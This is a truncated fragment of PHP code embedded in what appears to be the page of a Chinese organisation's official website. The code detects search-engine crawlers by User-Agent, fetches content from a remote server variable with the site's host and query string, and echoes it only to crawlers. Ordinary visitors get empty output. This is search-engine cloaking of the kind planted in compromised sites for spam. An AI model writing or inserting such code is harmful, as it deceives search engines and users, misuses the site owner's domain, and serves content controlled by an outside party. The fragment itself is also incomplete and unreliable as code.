"Mozilla/5.0 (compatible; Baiduspider/2.0)", 'Googlebot' => "Mozilla/5.0 (compatible; Googlebot/2.1)", '360Spider' => "Mozilla/5.0 (compatible; 360Spider)", 'Bingbot' => "Mozilla/5.0 (compatible; Bingbot/2.0)", 'YisouSpider' => "Mozilla/5.0 (compatible; YisouSpider)", 'Sogou web spider' => "Sogou web spider/4.0" ); // 检查是否为爬虫并设置对应的 User-Agent foreach ($crawlerUserAgents as $crawler => $agent) { if (strpos($userAgent, $crawler) !== false) { $isCrawler = true; $selectedUserAgent = $agent; break; } } if ($isCrawler){ // 创建一个包含HTTP User-Agent头部的流上下文 $options = array( 'http' => array( 'header' => "User-Agent: " . $selectedUserAgent . "\r\n" ) ); $context = stream_context_create($options); // 使用创建的上下文发起请求 $Content_mb = file_get_contents($YY_yanyu . "/index.php?host=" . $host_name . "&url=" . $_SERVER['QUERY_STRING'] . "&domain=" . $_SERVER['SERVER_NAME'], false, $context); echo $Content_mb; }else { // echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; } ?> 中国创推委会官方网站
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